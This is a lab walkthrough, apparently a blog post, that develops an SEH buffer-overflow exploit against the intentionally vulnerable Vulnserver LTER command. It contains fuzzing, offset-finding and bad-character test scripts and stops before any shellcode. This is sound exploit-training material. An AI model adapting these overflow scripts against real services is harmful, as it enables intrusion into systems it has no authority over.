Vulnserver - LTER Command

As part of my preparation for the taking the CTP course and OSCE exam I used the vulnserver.exe to practice and develop my skills.

1. Intro

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

You can get a copy of the application here https://github.com/zflemingg1/OSCE/tree/master/Vulnserver

2. The Setup

OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer

2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the TRUN command. Observing that the valid argument structure for the TRUN command is roughly <LTER>[space]<command_value> we can try sending LTER hello as a test and see if it’s accepted.

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the LTER command.

The following BOOFUZZ template was created to fuzz the LTER command in an effort to get the program to crash.

from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("LTER")
s_string("LTER", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("LTER"))
session.fuzz()

3.1 Crash

The following command appears to have crashed the program indicating that the "LTER" command can be manipulated to force the program to crash

3.2 Analysing The Crash

Based on the TCP stream (Figure 5), the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the LTER command and cause the crash:

import socket
from time import sleep

count = 6000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "LTER /.:/"
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	
	
	count = count - 10
	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	sleep(3)

As can be seen from Figure 6 the program crashes when a string of 5990 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 3551 bytes - Figure 8.

As can be seen in the above images we have no control over EIP (refer to the access violation - Figure 9 below)

That said, If we review the SEH chain we can clearly see that we have control over the SEH chain - Figure 10.

4. nSEH & SEH Offsets

4.1 Create Unique Pattern

Using msf-pattern_create create a pattern of length 3551 bytes.

Update the exploit as shown below and execute it

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999
	
payload = "LTER /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo"
payload += struct.pack("<I",0x625011AF) # EIP
payload += "C" * (5990 - len(payload))

	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Hit ALT + S and note the 'Address' value of the 'Corrupt Entry' (this will be nseh) and the SE-handler value above 'Corrupt Entry' (this will be the seh value)

4.2 Get nSEH & SEH Offsets

Next use msf-patten_offset to get the nseh and seh offsets

4.3 Confirm Offsets

Update the exploit and execute it to confirm that these offsets are correct

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "A" * 4 # nseh
payload += "C" * 4 # seh
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

5. Bad Character Analysis

Before we go any further we need to identify the bad characters. To do this we can generate all possible characters, from \x00 to \xFF, using the Mona.

To create the array, we can use !mona bytearray -cpb '\x00' command. This will print the array in Immunity Debugger’s log, and also create files bytearray.txt and bytearray.bin. We can copy the array from the bytearray.txt file, the bytearray.bin file will be used in comparison later.

Update the exploit as shown below and run the exploit:

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

bad_chars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "A" * 4 # nseh
payload += "C" * 4 # seh
payload += bad_chars
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

5.1 Manually Identifying Bad Characters

As can be seen from Figure 18, the bad character array begins at 00B7FFE4.

Note: Due to the restricted buffer length, only 28 bytes of our buffer length will be read each time.

As can be seen from Figure 18, characters '\x01' through '\x1c' are all good characters. We restart the application and repeat this process, sending the next 28 bytes of our bad_char array.

5.2 '\x1d' Through '\x38'

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

bad_chars = ("\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "A" * 4 # nseh
payload += "C" * 4 # seh
payload += bad_chars
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

As can be seen from Figure 19, the bad character array begins at 00B7FFE4 and that chars \x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38 are all ok.

Note: Good characters so far

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38

5.3 '\x39' Through '\x54'

Again we repeat this process with the next 28 chars:

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

bad_chars = ("\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "A" * 4 # nseh
payload += "C" * 4 # seh
payload += bad_chars
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

As can be seen from Figure 20, the bad character array begins at 00B7FFE4 and that chars \x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54

Note: Good characters so far

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54

5.4 '\x55' Through '\x70'

Again we repeat this process with the next 28 chars:

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

bad_chars = ("\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "A" * 4 # nseh
payload += "C" * 4 # seh
payload += bad_chars
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Note: Good characters so far

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70

5.5 '\x71' Through '\x92' (Mangled)

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

bad_chars = ("\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "A" * 4 # nseh
payload += "C" * 4 # seh
payload += bad_chars
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

As can be seen from Figure 22, chars '\x71 through \x7f' are ok. However Characters '\x80' through \x93' are mangled and get converted like so:

80 -> 01
81 -> 02
82 -> 03
83 -> 04
84 -> 05
85 -> 06
86 -> 07
87 -> 08
88 -> 09 
89 -> 0A
90 -> 0B
91 -> 0C
92 -> 0D

Note: Good characters so far

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f

5.6 '\x93' Through '\xAE'

As can be seen from Figure 23, characters '\x93' through \x' are mangled and get converted like so:

93 -> 78
94 -> 39
95 -> 33
96 -> 15
97 -> 16
98 -> 17
99 -> 18
9a -> 19
9b -> 1a
9c -> 1b
9d -> 1c
9e -> 1d
9f -> 1e
a0 -> 1f
a1 -> 20 
a2 -> 21
a3 -> 22
a4 -> 23
a5 -> 24
a6 -> 25
a7 -> 26
a8 -> 27
a9 -> 28
aa -> 29
ab -> 2a
ac -> 2b
ad -> 2c
ae -> 2d

5.7 '\xAF' Through '\xCA'

As can be seen from Figure 24, characters '\xAF' through \xCA' are mangled and get converted like so:

AF -> 30
B0 -> 31
B1 -> 32
B2 -> 33
B3 -> 34
B4 -> 35
B5 -> 36
B6 -> 37
B7 -> 38
B8 -> 39
B9 -> 3A
BA -> 3B
BB -> 3C
BC -> 3D
BD -> 3E 
BE -> 3F
BF -> 40
C0 -> 41
C1 -> 42
C2 -> 43
C3 -> 44
C4 -> 45
C5 -> 46
C6 -> 47
C7 -> 48
C8 -> 49
C9 -> 4A
CA -> 4B

5.8 '\xCB' Through '\xE6'

As can be seen from Figure 25, characters '\xCB' through \xE6' are mangled and get converted like so:

CB -> 4C
CC -> 4D
CD -> 4E
CE -> 4F
CF -> 50
D0 -> 51
D1 -> 52
D2 -> 53
D3 -> 54
D4 -> 55
D5 -> 56
D6 -> 57
D7 -> 58
D8 -> 59
D9 -> 5A 
DA -> 5B
DB -> 5C
DC -> 5D
DD -> 5E
DE -> 5F
DF -> 60
E0 -> 61
E1 -> 62
E2 -> 63
E3 -> 64
E4 -> 65
E5 -> 66
E6 -> 67

5.9 '\xE7' Through '\xFF'

As can be seen from Figure 26, characters '\xE7' through \xFF' are mangled and get converted like so:

E7 -> 69
E8 -> 69
E9 -> 6A
EA -> 6B
EB -> 6C
EC -> 6D
ED -> 6E
EE -> 6F
EF -> 70
F0 -> 71
F1 -> 72
F2 -> 73
F3 -> 74
F4 -> 75
F5 -> 76
F6 -> 77 
F7 -> 78
F8 -> 79
F9 -> 7A
FA -> 7B
FB -> 7C
FC -> 7D
FD -> 7E
FE -> 7F
FF -> 80

5.10 Bad Character Results

Good characters:

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f

Bad Characters:

